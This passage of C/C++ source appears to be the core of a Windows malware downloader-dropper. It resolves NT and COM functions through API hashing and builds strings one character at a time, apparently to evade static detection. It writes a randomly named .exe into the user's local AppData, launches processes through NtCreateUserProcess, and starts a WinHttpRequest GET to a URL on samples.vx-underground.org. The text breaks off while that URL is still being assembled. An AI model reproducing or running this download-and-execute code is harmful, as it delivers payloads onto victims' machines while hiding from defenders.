            if (Table->LoaderHelper.Nt->Signature != IMAGE_NT_SIGNATURE)
                RecursiveExecutor(ExitApplication, Table);

            ExportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD64)Table->LoaderHelper.hMod + Table->LoaderHelper.Optional->DataDirectory[0].VirtualAddress);
            FunctionNameAddressArray = (PDWORD)((LPBYTE)Table->LoaderHelper.hMod + ExportTable->AddressOfNames);
            FunctionAddressArray = (PDWORD)((LPBYTE)Table->LoaderHelper.hMod + ExportTable->AddressOfFunctions);
            FunctionOrdinalAddressArray = (PWORD)((LPBYTE)Table->LoaderHelper.hMod + ExportTable->AddressOfNameOrdinals);

            for (DWORD dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)
            {
                pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)Table->LoaderHelper.hMod;
                WCHAR wFunctionName[MAX_PATH * sizeof(WCHAR)];

                Table->ZeroFill.Destination = &wFunctionName;
                Table->ZeroFill.Size = sizeof(wFunctionName);
                RecursiveExecutor(ZeroFillData, Table);

                Table->GeneralData.StringPointer1 = (PCHAR)pFunctionName;
                Table->GeneralData.WideStringPointer1 = wFunctionName;

                RecursiveExecutor(CharStringToWCharString, Table);

                Table->GeneralData.WideStringPointer1 = wFunctionName;

                RecursiveExecutor(HashStringFowlerNollVoVariant1aW, Table);

                if (Table->dwGeneralUsage1 == Table->dwReturn)
                    return (LPVOID)((DWORD64)Table->LoaderHelper.hMod + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]);
            }

            break;
        }

        case RtlLoadPeHeaders:
        {
            Table->LoaderHelper.Dos = (PIMAGE_DOS_HEADER)Table->LoaderHelper.hMod;
            if (Table->LoaderHelper.Dos->e_magic != IMAGE_DOS_SIGNATURE)
                break;

            Table->LoaderHelper.Nt = (PIMAGE_NT_HEADERS)((PBYTE)Table->LoaderHelper.Dos + Table->LoaderHelper.Dos->e_lfanew);
            if (Table->LoaderHelper.Nt->Signature != IMAGE_NT_SIGNATURE)
                break;

            Table->LoaderHelper.File = (PIMAGE_FILE_HEADER)((PBYTE)Table->LoaderHelper.hMod + Table->LoaderHelper.Dos->e_lfanew + sizeof(DWORD));
            Table->LoaderHelper.Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)Table->LoaderHelper.File + sizeof(IMAGE_FILE_HEADER));

            break;
        }

        case CharStringToWCharString:
        {
            INT MaxLength = 256;
            INT Length = MaxLength;

            while (--Length >= 0)
            {
                if (!(*Table->GeneralData.WideStringPointer1++ = *Table->GeneralData.StringPointer1++))
                    return (LPVOID)(DWORD64)(MaxLength - Length - 1);
            }

            return (LPVOID)(DWORD64)(MaxLength - Length);
        }

        case StringLength:
        {
            LPCWSTR String2;

            for (String2 = Table->GeneralData.WideStringPointer1; *String2; ++String2);

            Table->dwGeneralUsage1 = static_cast<DWORD>(String2 - Table->GeneralData.WideStringPointer1);

            break;
        }

        case ExecuteBinary:
        {
            UNICODE_STRING NtPathOfBinary;
            PPS_ATTRIBUTE_LIST AttributeList = NULL;
            HANDLE hHandle = NULL, hThread = NULL;
            PS_CREATE_INFO CreateInfo;
            DWORD dwOffset = 0;
            WCHAR PathBufferW[MAX_PATH * sizeof(WCHAR)];
            PVOID PsAttributesBuffer[32];

            Table->ZeroFill.Destination = &NtPathOfBinary;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &CreateInfo;
            Table->ZeroFill.Size = sizeof(PS_CREATE_INFO);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &PathBufferW;
            Table->ZeroFill.Size = sizeof(PathBufferW);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &PsAttributesBuffer;
            Table->ZeroFill.Size = sizeof(PsAttributesBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            CreateInfo.Size = sizeof(CreateInfo);
            CreateInfo.State = PsCreateInitialState;

            RecursiveExecutor(CreateProcessParameters, Table);

            AttributeList = (PPS_ATTRIBUTE_LIST)PsAttributesBuffer;
            AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
            AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
            AttributeList->Attributes[0].Size = Table->GeneralData.UnicodeString.Length;
            AttributeList->Attributes[0].Value = (ULONG_PTR)Table->GeneralData.UnicodeString.Buffer;

            Table->Status = Table->NtFunctions.NtCreateUserProcess(&hHandle, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, Table->GeneralData.ProcessParameters, & CreateInfo, AttributeList);
            if (!NT_SUCCESS(Table->Status))
                break;

            break;
        }

        case PopulateNtFunctionPointers:
        {
            Table->dwGeneralUsage1 = 0x116893e9; //NtCreateUserProcess
            Table->NtFunctions.NtCreateUserProcess = (NTCREATEUSERPROCESS)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0x7b566b5f; //LdrLoadDll
            Table->NtFunctions.LdrLoadDll = (LDRLOADDLL)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0xa9c5b599; //NtCreateFile
            Table->NtFunctions.NtCreateFile = (NTCREATEFILE)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0x6b372c05; //MtClose
            Table->NtFunctions.NtClose = (NTCLOSE)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0xf67464e4; //NtWriteFile
            Table->NtFunctions.NtWriteFile = (NTWRITEFILE)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0xca67b978; //NtAllocateVirtualMemory
            Table->NtFunctions.NtAllocateVirtualMemory = (NTALLOCATEVIRTUALMEMORY)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0xb51cc567; //NtFreeVirtualMemory
            Table->NtFunctions.NtFreeVirtualMemory = (NTFREEVIRTUALMEMORY)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0x08ac8bac; //NtDeviceIoControlFile
            Table->NtFunctions.NtDeviceIoControlFile = (NTDEVICEIOCONTROLFILE)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0x1f2f8e87; //NtTerminateProcess
            Table->NtFunctions.NtTerminateProcess = (NTTERMINATEPROCESS)RecursiveExecutor(GetProcAddressByHash, Table);

            break;
        }

        case CreateProcessParameters:
        {
            UNICODE_STRING EmptyString;
            PUNICODE_STRING DllPath = NULL;
            PUNICODE_STRING CurrentDirectory = NULL;
            PUNICODE_STRING CommandLine = NULL;
            PUNICODE_STRING WindowTitle = NULL;
            PUNICODE_STRING DesktopInfo = NULL;
            PUNICODE_STRING ShellInfo = NULL;
            PUNICODE_STRING RuntimeData = NULL;
            PVOID Environment = NULL;
            PRTL_USER_PROCESS_PARAMETERS p = NULL, ProcessParameters = NULL;
            HANDLE hHandle = NULL;
            PWSTR d = NULL;
            ULONG Size = 0;

            PWCHAR ImagePathNameBuffer = NULL;
            USHORT ImagePathNameBufferLength;
            UNICODE_STRING ImagePathName;

            Table->ZeroFill.Destination = &EmptyString;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &ImagePathName;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);
            
            ImagePathNameBuffer = Table->GeneralData.UnicodeString.Buffer;
            ImagePathNameBufferLength = Table->GeneralData.UnicodeString.Length;

            while (*ImagePathNameBuffer != 'C')
            {
#pragma warning( push )
#pragma warning( disable : 6269)
                *ImagePathNameBuffer++;
#pragma warning( pop )
                ImagePathName.Length--;

            }

            ProcessParameters = Table->Peb->ProcessParameters;

            ImagePathName.Buffer = ImagePathNameBuffer;
            ImagePathName.Length = ImagePathNameBufferLength;
            ImagePathName.MaximumLength = ImagePathName.Length + sizeof(WCHAR);

            CommandLine = &ImagePathName;
            WindowTitle = &EmptyString;
            DesktopInfo = &EmptyString;
            ShellInfo = &EmptyString;
            RuntimeData = &EmptyString;

            Size = sizeof(*ProcessParameters);
            Size += AlignProcessParameters(MAX_PATH * sizeof(WCHAR), sizeof(ULONG));
            Size += AlignProcessParameters(ImagePathName.Length + sizeof(UNICODE_NULL), sizeof(ULONG));
            Size += AlignProcessParameters(CommandLine->Length + sizeof(UNICODE_NULL), sizeof(ULONG));
            Size += AlignProcessParameters(WindowTitle->MaximumLength, sizeof(ULONG));
            Size += AlignProcessParameters(DesktopInfo->MaximumLength, sizeof(ULONG));
            Size += AlignProcessParameters(ShellInfo->MaximumLength, sizeof(ULONG));
            Size += AlignProcessParameters(RuntimeData->MaximumLength, sizeof(ULONG));

            DllPath = &ProcessParameters->DllPath;

            hHandle = (HANDLE)((ULONG_PTR)ProcessParameters->CurrentDirectory.Handle & ~OBJ_HANDLE_TAGBITS);
            hHandle = (HANDLE)((ULONG_PTR)hHandle | RTL_USER_PROC_CURDIR_INHERIT);
            CurrentDirectory = &ProcessParameters->CurrentDirectory.DosPath;

            Environment = ProcessParameters->Environment;

            Size += AlignProcessParameters(DllPath->MaximumLength, sizeof(ULONG));

            p = (PRTL_USER_PROCESS_PARAMETERS)Table->GeneralData.UserProcessParametersBuffer;
            p->MaximumLength = Size;
            p->Length = Size;
            p->Flags = RTL_USER_PROC_PARAMS_NORMALIZED;
            p->DebugFlags = 0;
            p->Environment = (PWSTR)Environment;
            p->CurrentDirectory.Handle = hHandle;
            p->ConsoleFlags = ProcessParameters->ConsoleFlags;

            Table->Copy.d = (PWSTR)(p + 1);

            Table->Copy.Destination = &p->CurrentDirectory.DosPath;
            Table->Copy.Source = CurrentDirectory;
            Table->Copy.Size = MAX_PATH * 2;
            RecursiveExecutor(CopyParameters, Table);

            Table->Copy.Destination = &p->DllPath;
            Table->Copy.Source = DllPath;
            Table->Copy.Size = 0;
            RecursiveExecutor(CopyParameters, Table);

            Table->Copy.Destination = &p->ImagePathName;
            Table->Copy.Source = &ImagePathName;
            Table->Copy.Size = ImagePathName.Length + sizeof(UNICODE_NULL);
            RecursiveExecutor(CopyParameters, Table);

            Table->Copy.Destination = &p->CommandLine;
            Table->Copy.Source = CommandLine;

            if (CommandLine->Length == CommandLine->MaximumLength)
                Table->Copy.Size = 0;
            else
                Table->Copy.Size = CommandLine->Length + sizeof(UNICODE_NULL);

            RecursiveExecutor(CopyParameters, Table);

            Table->Copy.Destination = &p->WindowTitle;
            Table->Copy.Source = WindowTitle;
            Table->Copy.Size = 0;
            RecursiveExecutor(CopyParameters, Table);

            Table->Copy.Destination = &p->DesktopInfo;
            Table->Copy.Source = DesktopInfo;
            Table->Copy.Size = 0;
            RecursiveExecutor(CopyParameters, Table);

            Table->Copy.Destination = &p->ShellInfo;
            Table->Copy.Source = ShellInfo;
            Table->Copy.Size = 0;
            RecursiveExecutor(CopyParameters, Table);

            if (RuntimeData->Length != 0)
            {
                Table->Copy.Destination = &p->RuntimeData;
                Table->Copy.Source = RuntimeData;
                Table->Copy.Size = 0;
            }

            p->DllPath.Buffer = NULL;
            p->DllPath.Length = 0;
            p->DllPath.MaximumLength = 0;
            p->EnvironmentSize = Table->Peb->ProcessParameters->EnvironmentSize;

            Table->GeneralData.ProcessParameters = p;
            p = NULL;

            break;
        }

        case CopyParameters:
        {
            if (Table->Copy.Size == 0)
                Table->Copy.Size = Table->Copy.Source->MaximumLength;

            Table->dwGeneralUsage1 = Table->Copy.Source->Length;
            for (PBYTE Destination = (PBYTE)Table->Copy.d, Source = (PBYTE)Table->Copy.Source->Buffer; Table->dwGeneralUsage1--;)
            {
                *Destination++ = *Source++;
            }

            Table->Copy.Destination->Buffer = Table->Copy.d;
            Table->Copy.Destination->Length = Table->Copy.Source->Length;
            Table->Copy.Destination->MaximumLength = (USHORT)Table->Copy.Size;

            if (Table->Copy.Destination->Length < Table->Copy.Destination->MaximumLength)
            {
                Table->dwGeneralUsage1 = Table->Copy.Destination->MaximumLength - Table->Copy.Destination->Length;
                for (PULONG Destination = (PULONG)((PBYTE)Table->Copy.Destination->Buffer) + Table->Copy.Destination->Length; Table->dwGeneralUsage1 > 0; Table->dwGeneralUsage1--, Destination++)
                    *Destination = 0;
            }

            Table->Copy.d = (PWSTR)((PCHAR)(Table->Copy.d) + AlignProcessParameters(Table->Copy.Size, sizeof(ULONG)));
            break;
        }

        case QueryEnvironmentVariables:
        {
            UNICODE_STRING TemporaryString;;
            PWSTR Value = 0;

            Table->ZeroFill.Destination = &TemporaryString;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);

            Table->GeneralData.UnicodeString.Length = 0;

            for (PWCHAR String = Table->EnvironmentData.Environment; *String; String++)
            {
                TemporaryString.Buffer = String++;
                Table->GeneralData.WideStringPointer1 = String;

                String = NULL;
                do
                {
                    if (*Table->GeneralData.WideStringPointer1 == L'=')
                    {
                        String = Table->GeneralData.WideStringPointer1;
                        break;
                    }

                } while (*Table->GeneralData.WideStringPointer1++);


                if (String == NULL)
                {
                    Table->GeneralData.WideStringPointer1 = TemporaryString.Buffer;
                    RecursiveExecutor(StringLength, Table);
                    String = TemporaryString.Buffer + Table->dwGeneralUsage1;
                }

                if (*String)
                {
                    TemporaryString.MaximumLength = (USHORT)(String - TemporaryString.Buffer) * sizeof(WCHAR);
                    TemporaryString.Length = TemporaryString.MaximumLength;

                    Value = ++String;
                    Table->GeneralData.WideStringPointer1 = String;
                    RecursiveExecutor(StringLength, Table);
                    String += Table->dwGeneralUsage1;

                    if (TemporaryString.Length == Table->EnvironmentData.Name.Length)
                    {
                        for (LPCWSTR String1 = TemporaryString.Buffer, String2 = Table->EnvironmentData.Name.Buffer; *String1 == *String2; String1++, String2++)
                        {
                            if (*String1 == '\0')
                                break;

                            if (((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1) == TRUE)
                            {
                                PBYTE Destination = (PBYTE)Table->GeneralData.UnicodeString.Buffer;
                                PBYTE Source = (PBYTE)Value;
                                SIZE_T Length = 0;
                                Table->GeneralData.UnicodeString.Length = (USHORT)(String - Value) * sizeof(WCHAR);

                                Length = (((Table->GeneralData.UnicodeString.Length + sizeof(WCHAR)) < (Table->GeneralData.UnicodeString.MaximumLength)) ? (Table->GeneralData.UnicodeString.Length + sizeof(WCHAR)) : (Table->GeneralData.UnicodeString.MaximumLength));

                                while (Length--)
                                    *Destination++ = *Source++;

                                break;
                            }
                        }
                    }
                }
            }

            break;
        }

        case NullPeHeaders:
        {
            Table->LoaderHelper.Dos = 0;
            Table->LoaderHelper.Nt = 0;
            Table->LoaderHelper.File = 0;
            Table->LoaderHelper.Optional = 0;
            Table->LoaderHelper.hMod = 0;
            Table->GeneralData.StringPointer1 = 0;

            break;
        }

        case CreateDownloadPath:
        {
            WCHAR LocalAppDataW[MAX_PATH];
            WCHAR PayloadName[24];
            OBJECT_ATTRIBUTES Attributes;
            IO_STATUS_BLOCK Io;
            WCHAR NativePath[MAX_PATH * sizeof(WCHAR)];
            DWORD dwOffset = 0;

            CHAR ccRngBuffer[34];

            HANDLE hRngDevice;
            BYTE RngBuffer[16];
            WCHAR DriverNameBuffer[12];
            UNICODE_STRING DriverName;

            CHAR HexArray[17];

            Table->ZeroFill.Destination = &LocalAppDataW;
            Table->ZeroFill.Size = sizeof(LocalAppDataW);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &PayloadName;
            Table->ZeroFill.Size = sizeof(PayloadName);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &Attributes;
            Table->ZeroFill.Size = sizeof(OBJECT_ATTRIBUTES);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &NativePath;
            Table->ZeroFill.Size = sizeof(NativePath);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &ccRngBuffer;
            Table->ZeroFill.Size = sizeof(ccRngBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &RngBuffer;
            Table->ZeroFill.Size = sizeof(RngBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &DriverNameBuffer;
            Table->ZeroFill.Size = sizeof(DriverNameBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &DriverName;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &HexArray;
            Table->ZeroFill.Size = sizeof(HexArray);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &Io;
            Table->ZeroFill.Size = sizeof(IO_STATUS_BLOCK);
            RecursiveExecutor(ZeroFillData, Table);

            Table->dwGeneralUsage1 = 0;
            HexArray[Table->dwGeneralUsage1++] = '0'; HexArray[Table->dwGeneralUsage1++] = '1';
            HexArray[Table->dwGeneralUsage1++] = '2'; HexArray[Table->dwGeneralUsage1++] = '3';
            HexArray[Table->dwGeneralUsage1++] = '4'; HexArray[Table->dwGeneralUsage1++] = '5';
            HexArray[Table->dwGeneralUsage1++] = '6'; HexArray[Table->dwGeneralUsage1++] = '7';
            HexArray[Table->dwGeneralUsage1++] = '8'; HexArray[Table->dwGeneralUsage1++] = '9';
            HexArray[Table->dwGeneralUsage1++] = 'a'; HexArray[Table->dwGeneralUsage1++] = 'b';
            HexArray[Table->dwGeneralUsage1++] = 'c'; HexArray[Table->dwGeneralUsage1++] = 'd';
            HexArray[Table->dwGeneralUsage1++] = 'e'; HexArray[Table->dwGeneralUsage1++] = 'f';

            Table->dwGeneralUsage1 = 0;
            LocalAppDataW[Table->dwGeneralUsage1++] = 'L'; LocalAppDataW[Table->dwGeneralUsage1++] = 'O';
            LocalAppDataW[Table->dwGeneralUsage1++] = 'C'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
            LocalAppDataW[Table->dwGeneralUsage1++] = 'L'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
            LocalAppDataW[Table->dwGeneralUsage1++] = 'P'; LocalAppDataW[Table->dwGeneralUsage1++] = 'P';
            LocalAppDataW[Table->dwGeneralUsage1++] = 'D'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
            LocalAppDataW[Table->dwGeneralUsage1++] = 'T'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';

            Table->dwGeneralUsage1 *= sizeof(WCHAR);
            Table->EnvironmentData.Name.Buffer = LocalAppDataW;
            Table->EnvironmentData.Name.Length = (USHORT)Table->dwGeneralUsage1;
            Table->EnvironmentData.Name.MaximumLength = (USHORT)Table->EnvironmentData.Name.Length + sizeof(WCHAR);

            Table->EnvironmentData.Environment = (PWSTR)Table->Peb->ProcessParameters->Environment;

            RecursiveExecutor(QueryEnvironmentVariables, Table);

            Table->dwGeneralUsage1 = 0;
            DriverNameBuffer[Table->dwGeneralUsage1++] = '\\'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'D';
            DriverNameBuffer[Table->dwGeneralUsage1++] = 'e'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'v';
            DriverNameBuffer[Table->dwGeneralUsage1++] = 'i'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'c';
            DriverNameBuffer[Table->dwGeneralUsage1++] = 'e'; DriverNameBuffer[Table->dwGeneralUsage1++] = '\\';
            DriverNameBuffer[Table->dwGeneralUsage1++] = 'C'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'N';
            DriverNameBuffer[Table->dwGeneralUsage1++] = 'G';

            Table->dwGeneralUsage1 *= sizeof(WCHAR);
            DriverName.Buffer = DriverNameBuffer;
            DriverName.Length = (USHORT)Table->dwGeneralUsage1;
            DriverName.MaximumLength = DriverName.Length + sizeof(WCHAR);

            InitializeObjectAttributes(&Attributes, &DriverName, OBJ_CASE_INSENSITIVE, NULL, NULL);

            Table->Status = Table->NtFunctions.NtCreateFile(&hRngDevice, GENERIC_READ | SYNCHRONIZE, &Attributes, &Io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);

            Table->Status = Table->NtFunctions.NtDeviceIoControlFile(hRngDevice, NULL, NULL, NULL, &Io, IOCTL_KSEC_RNG, NULL, 0, RngBuffer, 16);
            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);

            for (DWORD dwX = 0; dwX < 16; ++dwX)
            {
                ccRngBuffer[2 * dwX] = HexArray[(RngBuffer[dwX] & 0xF0) >> 4];
                ccRngBuffer[2 * dwX + 1] = HexArray[RngBuffer[dwX] & 0x0F];
            }

            PayloadName[0] = '\\';
            for (dwOffset = 0; dwOffset < 15; dwOffset++)
                PayloadName[dwOffset + 1] = ccRngBuffer[dwOffset];

            Table->dwGeneralUsage1 = 0;
            PayloadName[dwOffset++] = '.';
            PayloadName[dwOffset++] = 'e';
            PayloadName[dwOffset++] = 'x';
            PayloadName[dwOffset++] = 'e';

            NativePath[Table->dwGeneralUsage1++] = '\\';
            NativePath[Table->dwGeneralUsage1++] = '?';
            NativePath[Table->dwGeneralUsage1++] = '?';
            NativePath[Table->dwGeneralUsage1++] = '\\';

            for (DWORD dwIndex = 0; dwIndex < Table->GeneralData.UnicodeString.Length; dwIndex++)
            {
                dwOffset = dwIndex + Table->dwGeneralUsage1;
                NativePath[dwOffset] = Table->GeneralData.UnicodeString.Buffer[dwIndex];
            }

            for (DWORD dwIndex = 0, Ordinal = 0; Ordinal < (dwOffset / sizeof(WCHAR)); dwIndex++)
            {
                if (NativePath[dwIndex] == '\0')
                {
                    NativePath[dwIndex] = PayloadName[Ordinal];
                    Ordinal++;
                }
            }

            Table->GeneralData.WideStringPointer1 = NativePath;
            RecursiveExecutor(StringLength, Table);
            Table->dwGeneralUsage1 *= sizeof(WCHAR);

            for (PBYTE Destination = (PBYTE)Table->GeneralData.UnicodeStringBuffer, Source = (PBYTE)NativePath; Table->dwGeneralUsage1 != 0; Table->dwGeneralUsage1--)
                *Destination++ = *Source++;

            Table->GeneralData.WideStringPointer1 = Table->GeneralData.UnicodeStringBuffer;
            RecursiveExecutor(StringLength, Table);
            Table->dwGeneralUsage1 *= sizeof(WCHAR);
            Table->GeneralData.UnicodeString.Length = (USHORT)Table->dwGeneralUsage1;
            Table->GeneralData.UnicodeString.MaximumLength = Table->GeneralData.UnicodeString.Length + sizeof(WCHAR);

            InitializeObjectAttributes(&Attributes, &Table->GeneralData.UnicodeString, OBJ_CASE_INSENSITIVE, 0, NULL);

            Table->Status = Table->NtFunctions.NtCreateFile(&Table->hHandle, FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, &Attributes, &Io, 0, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);

            if (hRngDevice)
                Table->NtFunctions.NtClose(hRngDevice);

            break;
        }

        case PopulateComFunctionPointers:
        {
            Table->dwGeneralUsage1 = 0x4cacfe40; //CoInitializeEx
            Table->ComHelper.ComFunction.CoInitializeEx = (COINITIALIZEEX)RecursiveExecutor(GetProcAddressByHash, Table);
                            
            Table->dwGeneralUsage1 = 0xa0f3063e; //CoUninitialize
            Table->ComHelper.ComFunction.CoUninitialize = (COUNINITIALIZE)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0xa1f07e4c; //CoCreateInstance
            Table->ComHelper.ComFunction.CoCreateInstance = (COCREATEINSTANCE)RecursiveExecutor(GetProcAddressByHash, Table);

            Table->dwGeneralUsage1 = 0xbea555a3; //CoInitializeSecurity
            Table->ComHelper.ComFunction.CoInitializeSecurity = (COINITIALIZESECURITY)RecursiveExecutor(GetProcAddressByHash, Table);

            break;
        }

        case DownloadBinary:
        {
            CLSID WinhttpRequest;

            WCHAR MethodBuffer[5]; BSTR Method;
            WCHAR UrlBuffer[MAX_PATH * sizeof(WCHAR)]; BSTR Url;

            PBYTE DataBuffer = NULL;

            VARIANT AsyncFlag; ((&AsyncFlag)->vt) = VT_EMPTY;
            VARIANT Body; ((&Body)->vt) = VT_EMPTY;

            typedef struct {
                DWORD dwPad;
                DWORD dwSize;
                union {
                    CHAR Pointer[1];
                    WCHAR String[1];
                    DWORD dwPointer[1];
                } u;
            } BSTR_T;

            IO_STATUS_BLOCK Io;

            Table->ZeroFill.Destination = &MethodBuffer;
            Table->ZeroFill.Size = sizeof(MethodBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &UrlBuffer;
            Table->ZeroFill.Size = sizeof(UrlBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &Io;
            Table->ZeroFill.Size = sizeof(IO_STATUS_BLOCK);
            RecursiveExecutor(ZeroFillData, Table);
            
            Table->bFlag = FALSE;
            Table->dwGeneralUsage1 = 0;
            RecursiveExecutor(LoadComLibraries, Table);

            RecursiveExecutor(NullPeHeaders, Table);

            Table->dwGeneralUsage1 = 0;
            WinhttpRequest.Data1 = 0x2087c2f4;
            WinhttpRequest.Data2 = 0x2cef;
            WinhttpRequest.Data3 = 0x4953;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0xa8;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0xab;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x66;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x77;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x9b;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x67;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x04;
            WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x95;
            Table->dwGeneralUsage1 = 0;
            
            Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);
            else
                Table->ComHelper.IsComInitialized = TRUE;

            Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            RecursiveExecutor(CheckLocalMachinesInternetStatus, Table);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            RecursiveExecutor(CheckRemoteHost, Table);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoCreateInstance(WinhttpRequest, NULL, CLSCTX_INPROC_SERVER, IID_IWinHttpRequest, (PVOID*)&Table->ComHelper.ComVariables.HttpRequest);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0;
            MethodBuffer[Table->dwGeneralUsage1++] = 'G';
            MethodBuffer[Table->dwGeneralUsage1++] = 'E';
            MethodBuffer[Table->dwGeneralUsage1++] = 'T';
            MethodBuffer[Table->dwGeneralUsage1++] = '\0';

            Table->dwGeneralUsage1 = 0;
            UrlBuffer[Table->dwGeneralUsage1++] = 'h'; UrlBuffer[Table->dwGeneralUsage1++] = 't';
            UrlBuffer[Table->dwGeneralUsage1++] = 't'; UrlBuffer[Table->dwGeneralUsage1++] = 'p';
            UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = ':';
            UrlBuffer[Table->dwGeneralUsage1++] = '/'; UrlBuffer[Table->dwGeneralUsage1++] = '/';
            UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = 'a';
            UrlBuffer[Table->dwGeneralUsage1++] = 'm'; UrlBuffer[Table->dwGeneralUsage1++] = 'p';
            UrlBuffer[Table->dwGeneralUsage1++] = 'l'; UrlBuffer[Table->dwGeneralUsage1++] = 'e';
            UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = '.';
            UrlBuffer[Table->dwGeneralUsage1++] = 'v'; UrlBuffer[Table->dwGeneralUsage1++] = 'x';
            UrlBuffer[Table->dwGeneralUsage1++] = '-'; UrlBuffer[Table->dwGeneralUsage1++] = 'u';
            UrlBuffer[Table->dwGeneralUsage1++] = 'n'; UrlBuffer[Table->dwGeneralUsage1++] = 'd';
            UrlBuffer[Table->dwGeneralUsage1++] = 'e'; UrlBuffer[Table->dwGeneralUsage1++] = 'r';
            UrlBuffer[Table->dwGeneralUsage1++] = 'g'; UrlBuffer[Table->dwGeneralUsage1++] = 'r';
            UrlBuffer[Table->dwGeneralUsage1++] = 'o'; UrlBuffer[Table->dwGeneralUsage1++] = 'u';
            UrlBuffer[Table->dwGeneralUsage1++] = 'n'; UrlBuffer[Table->dwGeneralUsage1++] = 'd';
            UrlBuffer[Table->dwGeneralUsage1++] = '.'; UrlBuffer[Table->dwGeneralUsage1++] = 'o';
            UrlBuffer[Table->dwGeneralUsage1++] = 'r'; UrlBuffer[Table->dwGeneralUsage1++] = 'g';
